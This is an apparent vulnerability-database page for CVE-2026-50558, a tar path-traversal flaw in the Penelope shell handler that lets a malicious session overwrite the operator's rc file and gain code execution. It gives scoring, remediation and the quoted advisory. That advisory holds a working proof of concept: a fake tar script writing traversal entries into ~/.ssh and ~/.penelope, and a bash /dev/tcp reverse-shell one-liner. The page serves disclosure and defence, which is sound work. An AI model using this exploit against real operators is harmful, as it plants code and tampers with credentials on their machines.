Skip to main content

Penelope Shell Handler CVE-2026-50558

| EUVDEUVD-2026-50395 MEDIUM
Path Traversal (CWE-22)
2026-07-29 https://github.com/brightio/penelope GHSA-f42x-p2mx-hm8r
5.9
CVSS 3.1 · Vendor: https://github.com/brightio/penelope
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Control remote session tar binary via PATH manipulation
  2. Delivery
    Operator issues Main Menu download command
  3. Exploit
    Crafted tar archive with ../ traversal paths delivered to Penelope
  4. Install
    Files extracted outside intended download directory
  5. C2
    ~/.penelope/peneloperc overwritten with attacker-controlled Python code
  6. Execute
    Operator runs reload or restarts Penelope
  7. Impact
    Arbitrary code executes on operator's machine

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V5 - File Handling Path canonicalization, traversal prevention
MITRE ATT&CK

2 techniques across 2 tactics: Discovery, Collection

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

The operator must actively use the Main Menu download command in Penelope - passive connection to a malicious session does not trigger the vulnerability. The download must proceed via the Unix code path (not the Python agent path, which is unaffected). The remote session must be able to influence the tar archive returned to Penelope, which typically means the attacker controls or has compromised the remote host sufficiently to manipulate the tar binary invoked by Penelope (e.g., by placing a malicious tar earlier in PATH on the remote system). Exploitation is further limited to files writable by the user running Penelope; root-operated Penelope instances face broader impact. The chained RCE step additionally requires that the operator subsequently triggers a reload or restarts Penelope after the rc file has been overwritten. The Python agent download path is explicitly not affected. Running Python 3.14+ on the operator's machine reduces (but does not fully eliminate) risk if Penelope is unpatched, since the data filter blocks traversal by default on that runtime.

Impact

The CVSS 3.1 base score of 5.9 (AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:L) accurately reflects the attack complexity: exploitation requires the operator to actively invoke the download command against a malicious or compromised remote session, and the attacker must be able to influence the tar archive returned to Penelope. These are non-trivial prerequisites, hence AC:H and UI:R. However, the real-world impact for a security professional operator is significantly higher than a 5.9 score suggests: arbitrary write to operator-writable paths combined with the exec() of ~/.penelope/peneloperc creates a direct path to code execution on the operator's machine, a high-value target given that operators typically have privileged access to internal networks and sensitive credentials. No EPSS data was provided. No CISA KEV listing is present, indicating no confirmed mass exploitation. Nonetheless, a working PoC is publicly documented in the advisory, lowering the bar for motivated adversaries targeting red-team operators. The scope is narrow (niche security tool user base), which is the primary limiting factor on overall risk.

Exploit ScenarioDerived

An adversary who has gained control of a host that a Penelope operator subsequently connects to (e.g., via a compromised target during a red-team engagement) plants a malicious tar binary earlier in the remote session's PATH. When the operator issues the download command from Penelope's Main Menu, the session returns a crafted tar archive containing entries like ../../../../../home/operator/.penelope/peneloperc with embedded Python code. Penelope extracts the archive without path validation, overwriting the operator's rc file. The next time the operator runs reload (or restarts Penelope), the planted Python code executes under the operator's privileges, which may include access to internal network credentials, VPN configurations, and tooling. A full working PoC demonstrating this chain is documented in the advisory.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jul 29, 2026

Unsafe tar extraction in Penelope Shell Handler (pip package penelope-shell-handler, versions prior to 0.19.3) enables a malicious or compromised remote session to write arbitrary files on the penetration tester's (operator's) machine by returning a crafted tar archive containing path-traversal entries such as ../. The vulnerability is exclusively triggered by the Unix download command path and can be chained to operator-side code execution by overwriting ~/.penelope/peneloperc, which Penelope exec()s on startup and on reload. A fully working proof-of-concept is included in the GitHub Security Advisory, demonstrating the complete file-write-to-RCE chain. No public record of active exploitation (CISA KEV) has been identified at time of analysis.

RemediationAI

Upgrade penelope-shell-handler to version 0.19.3 or later (confirm via PyPI that 0.20.0 is the published fixed release, as the package vulnerability data cites 0.20.0 while the advisory cites 0.19.3 - install whichever is the latest available that includes commit a040afb5db32c7e80b5e8a2f9b2164cf911cfa62). The fix is available at https://github.com/brightio/penelope/commit/a040afb5db32c7e80b5e8a2f9b2164cf911cfa62 and documented at https://github.com/brightio/penelope/security/advisories/GHSA-f42x-p2mx-hm8r. If an immediate upgrade is not possible, operators should avoid using the Main Menu download command when connected to untrusted or potentially compromised remote sessions; file retrieval via alternative methods (e.g., out-of-band SCP or the Python agent download path, which is not affected) eliminates the exposure. Running Penelope under Python 3.14 or later adds a secondary safeguard via the data extraction filter, but this should not substitute for patching. Operators on unpatched versions should also audit ~/.penelope/peneloperc for unexpected content after any session involving the download command.

Affected VersionsENISA

penelope < 0.20.0

Affected Packages

pypi penelope-shell-handler fix: 0.20.0
euvd penelope fix: 0.20.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in pypi, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Penelope is a Python-based reverse shell handler and post-exploitation framework (CPE: pkg:pip/penelope-shell-handler). The affected code path uses Python's tarfile.TarFile.extractall() to decompress archives received from the remote session during a file download. In Python versions prior to 3.14, extractall() does not apply a safe extraction filter by default, meaning archive member names containing ../ sequences are trusted verbatim and resolved relative to the destination directory. This is the class of vulnerability described by CWE-22 (Improper Limitation of a Pathname to a Restricted Directory - 'Path Traversal'), also known as a 'Zip Slip' attack in the context of archive extraction. Critically, the vulnerable code block also suppressed Python's DeprecationWarning about unsafe extraction via warnings.simplefilter('ignore'), actively hiding the signal that extraction was unsafe. The Python agent download path is not affected because it does not invoke a remote tar binary. The fix in 0.19.3 introduces a safe_tar_extractall() helper that resolves each member's destination path with os.path.realpath() and rejects entries falling outside the intended download directory, making the fix Python-version-agnostic (Python 3.14's data filter would also mitigate this by default).

Know when Python gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/brightio/penelope) PRIMARY 5.9 MEDIUM
AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:L
vuln.today AI 5.9 MEDIUM

Network vector because malicious content originates from remote session; AC:H and UI:R because operator must invoke download against a malicious session; PR:N as attacker controls remote host, not operator machine; no confidentiality impact; high integrity from arbitrary file write.

3.1 AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:L
4.0 AV:N/AC:H/AT:P/PR:N/UI:A/VC:N/VI:H/VA:L/SC:N/SI:N/SA:N

Primary rating from Vendor (https://github.com/brightio/penelope).

CVSS VectorVendor: https://github.com/brightio/penelope

Attack Vector
Network
Attack Complexity
High
Privileges Required
None
User Interaction
Required
Scope
Unchanged
Confidentiality
None
Integrity
High
Availability
Low

DescriptionCVE.org

Summary

Penelope versions prior to 0.19.3 extracted tar archives received from remote sessions without validating archive member paths. When using the affected Unix download path, a malicious or compromised remote session could return a crafted tar archive containing path traversal entries, such as ../, causing files to be written outside the intended download directory on the Penelope operator's machine.

The impact is limited to files writable by the user running Penelope. In some cases, this arbitrary file write could be chained to operator-side code execution if the attacker can overwrite a file that Penelope or the user later executes, such as ~/.penelope/peneloperc. The issue has been fixed in version 0.19.3 by rejecting unsafe archive paths during extraction.

Affected conditions

The issue requires the operator to use the Main Menu download command to download files from a malicious or compromised remote session that can influence the tar archive returned to Penelope. The Python agent download path is not affected in the same way because it does not rely on the remote tar command.

The vulnerable behavior is related to Python's historical tarfile extraction defaults. In Python versions before 3.14, TarFile.extractall() did not use the safer data extraction filter by default, so applications extracting untrusted tar archives needed to explicitly provide a safe extraction filter or perform their own path validation.

Python 3.14 changes the default extraction behavior to use the data filter, which rejects dangerous archive features such as absolute paths and paths outside the destination directory. Penelope 0.19.3 now performs explicit validation/rejection of unsafe archive paths so the fix does not depend on the Python runtime version.

Details

The vulnerable code is in the Unix download() implementation.

Penelope creates a local download directory:

python
local_download_folder = self.directory / "downloads"

Later, it opens a tar archive received from the remote session:

python
tar = tarfile.open(mode=mode, fileobj=tar_source)

Then it extracts all members without validating archive paths:

python
tar.extractall(local_download_folder)

Because member names are trusted, a malicious tar archive can contain paths such as:

text
../../../../../home/operator/.penelope/peneloperc

This escapes the intended local_download_folder and writes to an arbitrary path writable by the Penelope operator.

The same extraction block also suppresses Python's DeprecationWarning around unsafe tar extraction:

python
with warnings.catch_warnings():
    warnings.simplefilter("ignore", category=DeprecationWarning)
    tar.extractall(local_download_folder)

The file-write impact can be chained with Penelope's rc loading behavior:

python
def load_rc():
    RC = Path(options.basedir / "peneloperc")
    try:
        with open(RC, "r") as rc:
            exec(rc.read(), globals())

By default, options.basedir is ~/.penelope, so the executed rc file is:

text
~/.penelope/peneloperc

Since session downloads are stored under ~/.penelope/sessions/<session>/downloads, a crafted tar member can traverse upward and plant or replace ~/.penelope/peneloperc. The planted Python code executes when Penelope starts again or when the operator runs reload.

PoC

The following reproduces the issue locally by simulating a malicious remote endpoint. The fake tar binary is placed first in PATH for the test shell, so when Penelope asks the remote session to run tar, the remote session returns a crafted archive with path traversal entries.

Start Penelope in Terminal 1:

bash
penelope -p 4444 -U -C #No upgrade and session connection needed

<img width="1920" height="337" alt="path1" src="https://github.com/user-attachments/assets/c8cb2dd6-e6d5-43ce-b3a2-61005dbcf95c" />

Prepare the fake remote tar in Terminal 2:

bash
mkdir -p /tmp/penelope-fakebin
mkdir -p "$HOME/.penelope" "$HOME/.ssh"
cp -f "$HOME/.penelope/peneloperc" /tmp/peneloperc.backup 2>/dev/null || true

cat > /tmp/penelope-fakebin/tar <<'EOF'
#!/usr/bin/env python3
import io
import os
import sys
import tarfile
import time

home = os.path.expanduser("~")
target_home = home.lstrip("/")

def add_file(tar, target, data):
    data = data.encode()
    info = tarfile.TarInfo(target)
    info.size = len(data)
    info.mode = 0o644
    info.mtime = int(time.time())
    tar.addfile(info, io.BytesIO(data))

with tarfile.open(mode="w:gz", fileobj=sys.stdout.buffer) as tar:
    add_file(tar, "../../../../../" + target_home + "/PENELOPE_CVE_PROOF.txt", "Penelope path traversal proof\n")
    add_file(tar, "../../../../../" + target_home + "/.ssh/PENELOPE_SSH_KEY.txt", "fake-demo-ssh_key-not-for-authentication\n")
    add_file(
        tar,
        "../../../../../" + target_home + "/.penelope/peneloperc",
        "open('/" + target_home + "/PENELOPE_RC_EXECUTED.txt', 'w').write('peneloperc executed via reload\\n')\n"
    )
EOF

chmod +x /tmp/penelope-fakebin/tar
touch /tmp/penelope_dummy

Connect the local test shell back to Penelope in Terminal 2:

bash
PATH=/tmp/penelope-fakebin:$PATH bash -c 'bash -i >& /dev/tcp/127.0.0.1/4444 0>&1'

<img width="1920" height="1000" alt="path2" src="https://github.com/user-attachments/assets/c6db4888-9a41-4a99-b8d1-35c06f07ca4a" />

In Terminal 1, inside Penelope, trigger the vulnerable download:

text
download /tmp/penelope_dummy

Verify in Terminal 3 that files were written outside the intended download directory:

bash
cat "$HOME/PENELOPE_CVE_PROOF.txt"
cat "$HOME/.ssh/PENELOPE_SSH_KEY.txt"
grep PENELOPE_RC_EXECUTED "$HOME/.penelope/peneloperc"

<img width="1920" height="573" alt="path3" src="https://github.com/user-attachments/assets/9c7c8d3b-00ee-4d74-b195-1e91ff581243" />

Expected output includes:

text
Penelope path traversal proof
fake-demo-ssh_key-not-for-authentication
open('/home/<user>/PENELOPE_RC_EXECUTED.txt', 'w').write('peneloperc executed via reload\n')

In Terminal 1, inside Penelope, execute the planted rc line:

text
reload

Verify in Terminal 3 that peneloperc executed:

bash
cat "$HOME/PENELOPE_RC_EXECUTED.txt"

Expected output:

text
peneloperc executed via reload

Cleanup:

bash
rm -f "$HOME/PENELOPE_CVE_PROOF.txt"
rm -f "$HOME/.ssh/PENELOPE_SSH_KEY.txt"
rm -f "$HOME/PENELOPE_RC_EXECUTED.txt"
if [ -f /tmp/peneloperc.backup ]; then cp -f /tmp/peneloperc.backup "$HOME/.penelope/peneloperc"; else rm -f "$HOME/.penelope/peneloperc"; fi
rm -f /tmp/peneloperc.backup
rm -rf /tmp/penelope-fakebin
rm -f /tmp/penelope_dummy

Impact

A malicious remote session can write arbitrary files on the Penelope operator's machine, limited to the permissions of the user running Penelope.

For a non-root operator, this may be chained to operator-side code execution only if the attacker can overwrite a user-writable file that Penelope or the user later executes, such as:

text
~/.penelope/peneloperc
~/.bashrc
~/.profile
~/.config/autostart/*.desktop

For a root operator, the impact is higher because root-writable files may be overwritten.

Suggested Fix

Validate every archive member before extraction by resolving the final destination path and rejecting paths outside the intended download directory. Reject symlink and hardlink members. On supported Python versions, filter="data" can be used as an additional safeguard.

Threat Intelligence Overview

EPSS Score
0.2%
Top 84% exploitable
Prevalence
Low
niche security tool used by penetration testers, not general enterprise software
Threat Intel
1
1 source
Exploit
POC
Public exploit code exists
Social Media
1
Sightings
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GHSA CIRCL GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC Yes
EPSS 0.2%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

50
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +30
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Path traversal exploits occur when applications use user-controlled input to construct file system paths without proper validation.

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

More in Python

View all
CVE-2025-24016 CRITICAL POC
9.9 Feb 10

Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t

CVE-2025-27520 CRITICAL POC
9.8 Apr 04

BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser

CVE-2025-2945 CRITICAL POC
9.9 Apr 03

pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi

CVE-2013-5093 MEDIUM POC
6.8 Sep 27

The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python

CVE-2025-32375 CRITICAL POC
9.8 Apr 09

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2024-21644 HIGH POC
7.5 Jan 08

pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.

CVE-2026-33017 CRITICAL POC
9.3 Mar 17

Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301

CVE-2017-9462 HIGH POC
8.8 Jun 06

In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse

CVE-2026-49869 CRITICAL POC
10.0 Jun 26

Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2024-21645 MEDIUM POC
5.3 Jan 08

pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy